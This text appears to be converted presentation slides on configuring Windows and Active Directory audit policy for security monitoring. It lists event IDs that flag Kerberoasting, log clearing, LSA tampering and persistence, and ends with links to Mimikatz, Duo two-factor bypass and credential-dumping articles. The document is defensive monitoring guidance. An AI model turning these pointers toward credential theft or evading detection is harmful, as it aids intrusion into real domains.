www.ADSecurity.org
TrimarcSecurity.com

Slides: Presentations.ADSecurity.org
BONUS CONTENT:

Effective Active Directory Monitoring Configuration

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Effective Monitoring

Sean Metcalf
[@Pyrotek3 | sean@TrimarcSecurity.com]
### Effective Monitoring

<table>
<thead>
<tr>
<th>Policy</th>
<th>Setting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Audit: Force audit policy subcategory settings</td>
<td>Enabled</td>
</tr>
<tr>
<td>Full Auditing Policy [ADSDC03.LAB.ADSECURITY.ORG] Policy</td>
<td></td>
</tr>
<tr>
<td><strong>Computer Configuration</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Policies</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Software Settings</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Windows Settings</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Name Resolution Policy</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Scripts (Startup/Shutdown)</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Security Settings</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Account Policies</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Local Policies</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Audit Policy</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Policy</strong></td>
<td><strong>Policy Setting</strong></td>
</tr>
<tr>
<td>Audit account logon events</td>
<td>Success, Failure</td>
</tr>
<tr>
<td>Audit account management</td>
<td>Success, Failure</td>
</tr>
<tr>
<td>Audit directory service access</td>
<td>Not Defined</td>
</tr>
<tr>
<td>Audit logon events</td>
<td>Success, Failure</td>
</tr>
<tr>
<td>Audit object access</td>
<td>Not Defined</td>
</tr>
<tr>
<td>Audit policy change</td>
<td>Not Defined</td>
</tr>
<tr>
<td>Audit privilege use</td>
<td>Success, Failure</td>
</tr>
<tr>
<td>Audit process tracking</td>
<td>Not Defined</td>
</tr>
<tr>
<td>Audit system events</td>
<td>Not Defined</td>
</tr>
</tbody>
</table>
## Effective Monitoring

```
auditpol.exe /get /category:*
```

<table>
<thead>
<tr>
<th>Category/Subcategory</th>
<th>Setting</th>
</tr>
</thead>
<tbody>
<tr>
<td>System</td>
<td></td>
</tr>
<tr>
<td>Security System</td>
<td>Success and Failure</td>
</tr>
<tr>
<td>System Integrity</td>
<td>Success and Failure</td>
</tr>
<tr>
<td>IPSec Driver</td>
<td>Success and Failure</td>
</tr>
<tr>
<td>Other System Events</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Security State Change</td>
<td>Success and Failure</td>
</tr>
<tr>
<td>Logon/Logoff</td>
<td></td>
</tr>
<tr>
<td>Logon</td>
<td>Success and Failure</td>
</tr>
<tr>
<td>Logoff</td>
<td>Success</td>
</tr>
<tr>
<td>Account Lockout</td>
<td>No Auditing</td>
</tr>
<tr>
<td>IPSec Main Mode</td>
<td>No Auditing</td>
</tr>
<tr>
<td>IPSec Quick Mode</td>
<td>No Auditing</td>
</tr>
<tr>
<td>IPSec Extended Mode</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Special Logon</td>
<td>Success and Failure</td>
</tr>
<tr>
<td>Other Logon/Logoff</td>
<td>Success and Failure</td>
</tr>
<tr>
<td>Network Policy Server</td>
<td>No Auditing</td>
</tr>
<tr>
<td>User / Device Claims</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Object Access</td>
<td></td>
</tr>
<tr>
<td>File System</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Registry</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Kernel Object</td>
<td>No Auditing</td>
</tr>
<tr>
<td>SAM</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Certification Services</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Application Generated</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Handle Manipulation</td>
<td>No Auditing</td>
</tr>
<tr>
<td>File Share</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Filtering Platform Packet Drop</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Filtering Platform Connection</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Other Object Access Events</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Detailed File Share</td>
<td>No Auditing</td>
</tr>
</tbody>
</table>

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Recommended DC Auditing

• Account Logon
  • Audit Credential Validation: S&F
  • Audit Kerberos Authentication Service: S&F
  • Audit Kerberos Service Ticket Operations: Success & Failure

• Account Management
  • Audit Computer Account Management: S&F
  • Audit Other Account Management Events: S&F
  • Audit Security Group Management: S&F
  • Audit User Account Management: S&F

• Detailed Tracking
  • Audit DPAPI Activity: S&F
  • Audit Process Creation: S&F

• DS Access
  • Audit Directory Service Access: S&F
  • Audit Directory Service Changes: S&F

• Logon and Logoff
  • Audit Account Lockout: Success
  • Audit Logoff: Success
  • Audit Logon: S&F
  • Audit Special Logon: Success & Failure

• System
  • Audit IPsec Driver: S&F
  • Audit Security State Change: S&F
  • Audit Security System Extension: S&F
  • Audit System Integrity: S&F

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
• Track logons to the system by members of specific groups (Win 7/2008 R2+)

• Events are logged on the system to which the user authenticates.

• HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Audit (Event ID 4908: updated table)
  • Local Accounts: S-1-5-113
  • Domain Admins: S-1-5-21-[DOMAIN]-512
  • Enterprise Admins: S-1-5-21-[FORESTROOTDOMAIN]-519
  • Custom Group: Create a new group
  • Administrators: S-1-5-32-544 (Could be noisy)

Audit Special Logon

```
PS C:\> (get-adgroup 'domain admins').sid.value
S-1-5-21-1093224735-1015166391-1317194548-512
PS C:\> (get-adgroup 'enterprise admins').sid.value
S-1-5-21-1093224735-1015166391-1317194548-519
PS C:\> (get-adgroup 'special group auditing').sid.value
S-1-5-21-1093224735-1015166391-1317194548-3680
```

Windows Settings

Registry

```
HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Audit
SpecialGroups
REG_SZ
S-1-5-113;S-1-5-21-1093224735-1015166391-1317194548-512;S-1-5-21-1093224735-1015166391-1317194548-3680
```
<table>
<thead>
<tr>
<th>EventID</th>
<th>Description</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>4768</td>
<td>Kerberos auth ticket (TGT) was requested</td>
<td>Track user Kerb auth, with client/workstation name.</td>
</tr>
<tr>
<td>4769</td>
<td>User requests a Kerberos service ticket</td>
<td>Track user resource access requests &amp; Kerberoasting</td>
</tr>
<tr>
<td>4964</td>
<td>Custom Special Group logon tracking</td>
<td>Track admin &amp; “users of interest” logons</td>
</tr>
<tr>
<td>4625/771</td>
<td>Logon failure</td>
<td>Interesting logon failures. 4771 with 0x18 = bad pw</td>
</tr>
<tr>
<td>4765/766</td>
<td>SID History added to an account/atmmpt failed</td>
<td>If you aren’t actively migrating accounts between domains, this could be malicious</td>
</tr>
<tr>
<td>4794</td>
<td>DSRM account password change attempt</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4780</td>
<td>ACLs set on admin accounts</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4739/643</td>
<td>Domain Policy was changed</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4713/617</td>
<td>Kerberos policy was changed</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4724/628</td>
<td>Attempt to reset an account's password</td>
<td>Monitor for admin &amp; sensitive account pw reset</td>
</tr>
<tr>
<td>4735/639</td>
<td>Security-enabled local group changed</td>
<td>Monitor admin/sensitive group membership changes</td>
</tr>
<tr>
<td>4737/641</td>
<td>Security-enabled global group changed</td>
<td>Monitor admin/sensitive group membership changes</td>
</tr>
<tr>
<td>4755/659</td>
<td>Security-enabled universal group changed</td>
<td>Monitor admin &amp; sensitive group membership changes</td>
</tr>
<tr>
<td>5136</td>
<td>A directory service object was modified</td>
<td>Monitor for GPO changes, admin account modification, specific user attribute modification, etc.</td>
</tr>
</tbody>
</table>

**Event IDs that Matter: Domain Controllers**

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
<table>
<thead>
<tr>
<th>EventID</th>
<th>Description</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>1102/517</td>
<td>Event log cleared</td>
<td>Attackers may clear Windows event logs.</td>
</tr>
<tr>
<td>4610/4611/4614/4622</td>
<td>Local Security Authority modification</td>
<td>Attackers may modify LSA for escalation/persistence.</td>
</tr>
<tr>
<td>4648</td>
<td>Explicit credential logon</td>
<td>Typically when a logged on user provides different credentials to access a resource. Requires filtering of “normal”.</td>
</tr>
<tr>
<td>4661</td>
<td>A handle to an object was requested</td>
<td>SAM/DSA Access. Requires filtering of “normal”.</td>
</tr>
<tr>
<td>4672</td>
<td>Special privileges assigned to new logon</td>
<td>Monitor when someone with admin rights logs on. Is this an account that should have admin rights or a normal user?</td>
</tr>
<tr>
<td>4723</td>
<td>Account password change attempted</td>
<td>If it’s not an approved/known pw change, you should know.</td>
</tr>
<tr>
<td>4964</td>
<td>Custom Special Group logon tracking</td>
<td>Track admin &amp; “users of interest” logons.</td>
</tr>
<tr>
<td>7045/4697</td>
<td>New service was installed</td>
<td>Attackers often install a new service for persistence.</td>
</tr>
<tr>
<td>4698 &amp; 4702</td>
<td>Scheduled task creation/modification</td>
<td>Attackers often create/modify scheduled tasks for persistence. Pull all events in Microsoft-Windows-TaskScheduler/Operational</td>
</tr>
<tr>
<td>4719/612</td>
<td>System audit policy was changed</td>
<td>Attackers may modify the system’s audit policy.</td>
</tr>
<tr>
<td>4732</td>
<td>A member was added to a (security-enabled) local group</td>
<td>Attackers may create a new local account &amp; add it to the local Administrators group.</td>
</tr>
<tr>
<td>4720</td>
<td>A (local) user account was created</td>
<td>Attackers may create a new local account for persistence.</td>
</tr>
</tbody>
</table>
## Event IDs that Matter (Newer Windows systems)

<table>
<thead>
<tr>
<th>EventID</th>
<th>Description</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>3065/3066</td>
<td>LSASS Auditing – checks for code integrity</td>
<td>Monitors LSA drivers &amp; plugins. Test extensively before deploying!</td>
</tr>
<tr>
<td>3033/3063</td>
<td>LSA Protection – drivers that failed to load</td>
<td>Monitors LSA drivers &amp; plugins &amp; blocks ones that aren’t properly signed.</td>
</tr>
<tr>
<td>4798</td>
<td>A user's local group membership was enumerated.</td>
<td>Potentially recon activity of local group membership. Filter out normal activity.</td>
</tr>
</tbody>
</table>

**LSA Protection & Auditing (Windows 8.1/2012R2 and newer):**

4798: A user's local group membership was enumerated (Windows 10/2016):

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
<table>
<thead>
<tr>
<th>Logon Type #</th>
<th>Name</th>
<th>Description</th>
<th>Creds on Disk</th>
<th>Creds in Memory</th>
<th>Distribution</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>System</td>
<td>Typically rare, but could alert to malicious activity</td>
<td>Yes</td>
<td>Yes</td>
<td>*</td>
</tr>
<tr>
<td>2</td>
<td>Interactive</td>
<td>Console logon (local keyboard) which includes server KVM or virtual client logon. Also standard RunAs.</td>
<td>No</td>
<td>Yes</td>
<td>#5 / 0%</td>
</tr>
<tr>
<td>3</td>
<td>Network</td>
<td>Accessing file shares, printers, IIS (integrated auth, etc), PowerShell remoting</td>
<td>No</td>
<td>No</td>
<td>#1 / ~80%</td>
</tr>
<tr>
<td>4</td>
<td>Batch</td>
<td>Scheduled tasks</td>
<td>Yes</td>
<td>Yes</td>
<td>#7 / 0%</td>
</tr>
<tr>
<td>5</td>
<td>Service</td>
<td>Services</td>
<td>Yes</td>
<td>Yes</td>
<td>#4 / &lt;1%</td>
</tr>
<tr>
<td>7</td>
<td>Unlock</td>
<td>Unlock the system</td>
<td>No</td>
<td>Yes</td>
<td>#6 / &lt;1%</td>
</tr>
<tr>
<td>8</td>
<td>Network Clear Text</td>
<td>Network logon with password in clear text (IIS basic auth). If over SSL/TLS, this is probably fine.</td>
<td>Maybe</td>
<td>Yes</td>
<td>#2 / ~15%</td>
</tr>
<tr>
<td>9</td>
<td>New Credentials</td>
<td>RunAs /NetOnly which starts a program with different credentials than logged on user</td>
<td>No</td>
<td>Yes</td>
<td>#3 / &lt; 1%</td>
</tr>
<tr>
<td>10</td>
<td>Remote Interactive</td>
<td>RDP: Terminal Services, Remote Assistance, R.Desktop</td>
<td>Maybe</td>
<td>Yes*</td>
<td>#9 / 0%</td>
</tr>
<tr>
<td>11</td>
<td>Cached Interactive</td>
<td>Logon with cached credentials (no DC online)</td>
<td>Yes</td>
<td>Yes</td>
<td>#8 / 0%</td>
</tr>
</tbody>
</table>

A Note About Logon Types (EventID 4624)

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
• Securing Active Directory – An Overview of Best Practices

• Microsoft: Securing Privileged Access Reference Material

• Mimikatz
  https://adsecurity.org/?page_id=1821

• Attack Methods for Gaining Domain Admin Rights in Active Directory
  https://adsecurity.org/?p=2362

• Exploit Duo FailOpen
  https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
• Microsoft Local Administrator Password Solution (LAPS)  
  https://adsecurity.org/?p=1790
• The Most Common Active Directory Security Issues and What You Can Do to Fix Them  
  https://adsecurity.org/?p=1684
• How Attackers Dump Active Directory Database Credentials  
  https://adsecurity.org/?p=2398